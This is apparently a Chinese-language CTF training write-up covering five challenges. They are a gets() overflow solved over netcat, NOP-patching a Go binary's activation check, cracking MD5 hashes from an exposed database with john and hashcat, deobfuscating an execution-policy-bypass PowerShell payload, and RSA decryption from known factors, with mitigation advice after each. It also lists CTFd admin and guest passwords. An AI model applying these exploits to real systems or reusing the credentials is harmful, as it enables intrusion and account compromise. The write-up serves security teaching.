---
# System prepended metadata

title: 5/25 資訊安全實務演練(非公開)(宣儒備份版本)

---

# 5/25 資訊安全實務演練(非公開)(宣儒備份版本)

CTFd admin user帳密 `islab`:`@_1slab_@`
guest user帳密 `guest`:`guestguest`


### Pwn
#### Password

```c=
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

void shell() {
    system("/bin/sh");
}

int main() {
    setvbuf(stdout,0,2,0);
    setvbuf(stdin,0,2,0);
    setvbuf(stderr,0,2,0);

    char password[12] = "12345678";
    char name[8];

    printf("What's your name? ");
    gets(name);
    printf("Hello %s\n", name);

    if (!strcmp(password, "password")) {
        puts("Welcome :) ");
        shell();
        return 0;
    }    
    printf("QQ %s\n", password);
    exit(0);
}
```

可以透過 `objdump -d` 觀察 ELF 執行檔反組譯出來的組合語言。
password 在 rbp-0x14
name 在 rbp-0x1c
因此可以透過輸入 name 去覆蓋到 password 記憶體上的值。
```
  4012a2:	48 b8 31 32 33 34 35 	movabs rax,0x3837363534333231
  4012a9:	36 37 38 
  4012ac:	48 89 45 ec          	mov    QWORD PTR [rbp-0x14],rax
  4012b0:	c7 45 f4 00 00 00 00 	mov    DWORD PTR [rbp-0xc],0x0
  4012b7:	48 8d 3d 4e 0d 00 00 	lea    rdi,[rip+0xd4e]        # 40200c <_IO_stdin_used+0xc>
  4012be:	b8 00 00 00 00       	mov    eax,0x0
  4012c3:	e8 18 fe ff ff       	call   4010e0 <printf@plt>
  4012c8:	48 8d 45 e4          	lea    rax,[rbp-0x1c]
  4012cc:	48 89 c7             	mov    rdi,rax
  4012cf:	b8 00 00 00 00       	mov    eax,0x0
  4012d4:	e8 27 fe ff ff       	call   401100 <gets@plt>
  4012d9:	48 8d 45 e4          	lea    rax,[rbp-0x1c]
  4012dd:	48 89 c6             	mov    rsi,rax
  4012e0:	48 8d 3d 38 0d 00 00 	lea    rdi,[rip+0xd38]        # 40201f <_IO_stdin_used+0x1f>
  4012e7:	b8 00 00 00 00       	mov    eax,0x0
  4012ec:	e8 ef fd ff ff       	call   4010e0 <printf@plt>
  4012f1:	48 8d 45 ec          	lea    rax,[rbp-0x14]
  4012f5:	48 8d 35 2d 0d 00 00 	lea    rsi,[rip+0xd2d]        # 402029 <_IO_stdin_used+0x29>
  4012fc:	48 89 c7             	mov    rdi,rax
  4012ff:	e8 ec fd ff ff       	call   4010f0 <strcmp@plt>
```

Writeup ✍
```
$ nc pwn.macacahub.tw 3000
What's your name? 12345678password
Hello 12345678password
Welcome :)
whoami
password
```

#### 防護措施與修補建議
1. 建議使用 fgets 與 strcpy 等這類能限制讀取大小的函式，取代無限制而不安全的 gets 與 strcpy。
2. 軟體開發流程加入原始碼檢測

https://rules.sonarsource.com/c/RSPEC-1081
![](https://i.imgur.com/Dsrgcwd.png)



### Reverse
#### Activation Code

題目有提供原始碼 (實際上可透過反編譯等技術，反編譯出與原始碼相似的程式碼)，觀察程式碼可以發現主要的驗證邏輯是啟動碼做字串比對，這時我們可以透過修改執行檔 (俗稱的打 Patch )，使原本的驗證邏輯失效。
```go=
activationCode = strings.Replace(activationCode, "\n", "", -1)
// for windows \r\n
activationCode = strings.Replace(activationCode, "\r", "", -1)
if activationCode == "This is a fake activation code!" {
    fmt.Println("Congratulations!")
    fmt.Println("This is your flag:", getFlag())
} else {
    fmt.Println("Incorrect activation code! QQ")
}
```

我們可以透過 Linux 上的 `objdump -d` 將執行檔反組譯出組合語言與顯示對應的機械碼。題目提供的 hackMe.dump 即為`objdump` 反組譯出的結果。

go 語言中的 main 函式經編譯後的名稱為 main.main，並搭配呼叫兩次的 Replace 定位到我們程式主要驗證邏輯處。

```
  481300:	e8 9b 44 fe ff       	call   4657a0 <strings.Replace>
  481305:	48 8d 0d d4 52 03 00 	lea    rcx,[rip+0x352d4]        # 4b65e0 <runtime.mainPC+0x10>
  48130c:	bf 01 00 00 00       	mov    edi,0x1
  481311:	31 f6                	xor    esi,esi
  481313:	45 31 c0             	xor    r8d,r8d
  481316:	49 c7 c1 ff ff ff ff 	mov    r9,0xffffffffffffffff
  48131d:	0f 1f 00             	nop    DWORD PTR [rax]
  481320:	e8 7b 44 fe ff       	call   4657a0 <strings.Replace>
  481325:	48 83 fb 1f          	cmp    rbx,0x1f
```

0x481325 到 0x48133c 都是我們驗證邏輯所編譯出的組合語言，其 cmp 失敗而跳到`fmt.Println("Incorrect activation code! QQ")` 

```
  481320:	e8 7b 44 fe ff       	call   4657a0 <strings.Replace>
  481325:	48 83 fb 1f          	cmp    rbx,0x1f
  481329:	75 77                	jne    4813a2 <main.main+0x242>
  48132b:	48 89 d9             	mov    rcx,rbx
  48132e:	48 8d 1d c9 b6 01 00 	lea    rbx,[rip+0x1b6c9]        # 49c9fe <go.string.*+0x4d56>
  481335:	e8 26 12 f8 ff       	call   402560 <runtime.memequal>
  48133a:	84 c0                	test   al,al
  48133c:	74 64                	je     4813a2 <main.main+0x242>
  48133e:	44 0f 11 7c 24 58    	movups XMMWORD PTR [rsp+0x58],xmm15
  481344:	48 8d 15 75 7b 00 00 	lea    rdx,[rip+0x7b75]        # 488ec0 <type.*+0x6ec0>
  48134b:	48 89 54 24 58       	mov    QWORD PTR [rsp+0x58],rdx
  481350:	4c 8d 05 61 53 03 00 	lea    r8,[rip+0x35361]        # 4b66b8 <runtime.defaultGOROOT.str+0xb0>
  481357:	4c 89 44 24 60       	mov    QWORD PTR [rsp+0x60],r8
  48135c:	48 8b 1d ed 4c 0a 00 	mov    rbx,QWORD PTR [rip+0xa4ced]        # 526050 <os.Stdout>
  481363:	48 8d 05 be 57 03 00 	lea    rax,[rip+0x357be]        # 4b6b28 <go.itab.*os.File,io.Writer>
  48136a:	48 8d 4c 24 58       	lea    rcx,[rsp+0x58]
  48136f:	bf 01 00 00 00       	mov    edi,0x1
  481374:	48 89 fe             	mov    rsi,rdi
  481377:	e8 24 a8 ff ff       	call   47bba0 <fmt.Fprintln>
```

因此我們可以透過線上二進制編輯器修改執行檔 0x081325 到 0x08133c 位置，這裡我們嘗試覆蓋為組合語言中的 nop 機械碼 0x90，nop 即不做任何事，使程式可以一路直行到 `fmt.Println("Congratulations!")`。

![](https://i.imgur.com/wnF43Lc.png)

![](https://i.imgur.com/vVvi5Hw.png)


編輯好後儲存並在 Linux 上執行，即可取得 flag 。

```
$ ./hackMe_patch
Please enter your activation code:
Congratulations!
This is your flag: FLAG{____}
```


#### 防護措施與修補建議
1. 可加入混淆、加殼、反偵測等技術保護程式
2. 機敏重要資訊不應寫死 (Hard Code) 在程式碼中，應透過網路連線去驗證


### Web
#### Salt

從 app.go 中能看到密碼會經過 md5 函式計算出其雜湊值，再與資料庫中的資料進行比對。

```go=
func getMacaca(name string, password string) Macaca {
                            
    rows, err := db.Query("SELECT * FROM MacacaHub WHERE name=$1 AND password=$2;", name, getMD5Hash(password))
}
```

可以看到 fileServer 提供靜態檔案的路徑，其功能類似 apache Web 網頁伺服器中的 index of。
```go=
func main() {
	fs := http.FileServer(http.Dir("./files"))
	http.Handle("/files/", http.StripPrefix("/files/", fs))
	http.HandleFunc("/", auth(index))
	http.HandleFunc("/login", login)
	http.HandleFunc("/favicon.ico", func(w http.ResponseWriter, r *http.Request) {})

	err := http.ListenAndServe(":3000", nil)
	if err != nil {
		log.Fatal("ListenAndServe: ", err)
	}
```

可在網站上發現macaca.db的資料庫。
![](https://i.imgur.com/Uj6HSJ4.png)

查看資料庫內容，能發現密碼是被經過雜湊後再記錄的。
![](https://i.imgur.com/DyAoRrA.png)

透過 python 將資料庫內容寫進文字檔，以便進行弱密碼破。以下是範例程式。

```python=
import sqlite3
import os

DATABASE_PATH = os.path.join(os.path.dirname(__file__), "macaca.db")
conn = sqlite3.connect(DATABASE_PATH)
cur = conn.cursor()

sql_result = cur.execute("select name, password from MacacaHub")

with open("password.txt", "w+") as f:
    for name, password in sql_result:
	f.write(f"{name}:{password}\n")
```


帳號與密碼用冒號 ":" 隔開。
![](https://i.imgur.com/rYrTI9w.png)

使用 `john the ripper` 分析哪個用戶使用弱密碼。
```
$ john -show --format=Raw-MD5 password.txt
cyclopis:banana

1 password hash cracked, 14 left
```

```
hashcat -m 0 -a 0 -o cracked.txt target_hashes.txt /usr/share/wordlists/rockyou.txt
```

使用 cyclopis:banana 即可登入成功獲得 flag。
![](https://i.imgur.com/9wwL1W0.png)

#### 防護措施與修補建議
1. 雜湊時可加足夠長度的鹽，以防止資料庫外洩時容易遭暴力破解
2. 雜湊演算法應選用較新的 sha3
3. 登入驗面經加入驗證碼機制阻擋暴力破解
4. 謹慎使用類似目錄瀏覽與提供靜態檔的功能
5. 使用者不該能存取目錄，應回傳 403 或 404 等錯誤頁面

Index of
![](https://i.imgur.com/3U2iWG4.jpg)

https://crackstation.net/
![](https://i.imgur.com/ZFhBTvp.png)

### Misc
#### Devil May Cry
![](https://i.imgur.com/QPm48uN.png)


RLO 特殊 Unicode字元 https://www.ithome.com.tw/news/149275

```
PowERshELl -eXecuti byPAsS "& ( $eNV:COmSPec[4,26,25]-JoIN'')( NEW-OBject Io.CompreSSION.DeflATEStReAm( [Io.MEMOrYstReaM] [syStem.conVeRt]::fromBAsE64StrING('bY9Nb4JAEIb/yhyaLkQ24asK3shWyqHJok0bEmMMXVehXVfDRz00/e8OAu2lh3nedyb7zmTvwYA7qd/mgh/rs2Rr33KnlvuwoR+81ISYBhgGyS5kQpbxc4Ty9I1IfIT49CqUrbK/ULwtIsWyLx6yeik8hap+ENllCTvNgLfYNDRGlkoCXWhxQr/reix9gLZB3QcIoDG+GXbmTdGNcA+bd7MEi7/Wsrtf3wY8bd9VKWTCsXs8ie7SEUvqpu6He5UjDxni9h1iAlC2WqQqEhLAWLMirzZBMOmN44SDCxzT6p3nA13Js4rYX8CxneHdzB1NOAZCF/5L2L83RjedjRHH9U0Trg==' ), [Io.COMPreSsION.CompRessiONMoDE]::DECompReSs) | fOrEaCh{NEW-OBject SyStEm.IO.sTREamreaDEr($_, [teXt.EncodinG]::aSCIi ) } |foReaCh{ $_.REaDToEnd( )})"
```




```
> Write-Host QQ
QQ
```

https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.2

```
> iex ("Wri"+"te"+"-Host"+" QQ")
QQ
```

```
> & "Write-Host" "QQ"
QQ
```

```
> & "iex" "Write-Host QQ"
QQ
```


```=
> $eNV:COmSPec
C:\Windows\system32\cmd.exe
```

```=
> NEW-OBject Io.CompreSSION.DeflATEStReAm( [Io.MEMOrYstReaM] [syStem.conVeRt]::fromBAsE64StrING('bY9Nb4JAEIb/yhyaLkQ24asK3shWyqHJok0bEmMMXVehXVfDRz00/e8OAu2lh3nedyb7zmTvwYA7qd/mgh/rs2Rr33KnlvuwoR+81ISYBhgGyS5kQpbxc4Ty9I1IfIT49CqUrbK/ULwtIsWyLx6yeik8hap+ENllCTvNgLfYNDRGlkoCXWhxQr/reix9gLZB3QcIoDG+GXbmTdGNcA+bd7MEi7/Wsrtf3wY8bd9VKWTCsXs8ie7SEUvqpu6He5UjDxni9h1iAlC2WqQqEhLAWLMirzZBMOmN44SDCxzT6p3nA13Js4rYX8CxneHdzB1NOAZCF/5L2L83RjedjRHH9U0Trg==' ), [Io.COMPreSsION.CompRessiONMoDE]::DECompReSs) | fOrEaCh{NEW-OBject SyStEm.IO.sTREamreaDEr($_, [teXt.EncodinG]::aSCIi ) } |foReaCh{ $_.REaDToEnd( )}
& ( $enV:cOmspeC[4,26,25]-jOin'')( (('Xw'+'QFLA'+'G{'+'H4'+'ck3r'+'_l0v'+'3_'+'P'+'0w3'+'rSh3l'+'l}'+'XwQ dnC Ou'+'t-F'+'ile -Enco'+'d'+'i'+'ng ut'+'f8'+' -File'+'P'+'ath'+' XwQC:e'+'H'+'OUser'+'se'+'HOPubliceHO'+'Docu'+'m'+'entseHO'+'fla'+'gX'+'w'+'Q')  -CREPlAce  ([Char]88+[Char]119+[Char]81),[Char]34 -ReplACe  ([Char]101+[Char]72+[Char]79),[Char]92  -ReplACe  ([Char]100+[Char]110+[Char]67),[Char]124))
```

```=
> (('Xw'+'QFLA'+'G{'+'H4'+'ck3r'+'_l0v'+'3_'+'P'+'0w3'+'rSh3l'+'l}'+'XwQ dnC Ou'+'t-F'+'ile -Enco'+'d'+'i'+'ng ut'+'f8'+' -File'+'P'+'ath'+' XwQC:e'+'H'+'OUser'+'se'+'HOPubliceHO'+'Docu'+'m'+'entseHO'+'fla'+'gX'+'w'+'Q')  -CREPlAce  ([Char]88+[Char]119+[Char]81),[Char]34 -ReplACe  ([Char]101+[Char]72+[Char]79),[Char]92  -ReplACe  ([Char]100+[Char]110+[Char]67),[Char]124)
"FLAG{H4ck3r_l0v3_P0w3rSh3ll}" | Out-File -Encoding utf8 -FilePath "C:\Users\Public\Documents\flag"
```

![](https://i.imgur.com/9h1HCRm.png)



#### 防護措施與修補建議
1. 留意 PowerShell 的執行



### Crypto
#### RSA

```python=
from Crypto.PublicKey import RSA
pub_key = RSA.import_key(content)
print(pub_key.n)
```

n = 123018668453011775513049495838496272077285356959533479219732245215172640050726
365751874520219978646938995647494277406384592519255732630345373154826850791702
6122142913461670429214311602221240479274737794080665351419597459856902143413


```
pip install pycryptodome
```

Writeup ✍
```python=
import base64
from Crypto.Cipher import PKCS1_OAEP
from Crypto.PublicKey import RSA
from Crypto.Util.number import inverse

p = 33478071698956898786044169848212690817704794983713768568912431388982883793878002287614711652531743087737814467999489
q = 36746043666799590428244633799627952632279158164343087642676032283815739666511279233373417143396810270092798736308917


with open("key.pub") as f:
    content = f.read()
    
pub_key = RSA.import_key(content)
n, e = pub_key.n, pub_key.e

assert n == p * q

phi_n = (p - 1) * (q - 1)
d = inverse(e, phi_n)

private_key = RSA.construct((n, e, d))
cipher_rsa = PKCS1_OAEP.new(private_key)

with open("flag.enc") as f:
    encrypt_flag = f.read().encode()

encrypt_flag = base64.b64decode(encrypt_flag)
flag = cipher_rsa.decrypt(encrypt_flag).decode()

print(flag)
```

#### 防護措施與修補建議
1. 正確使用加解密演算中的參數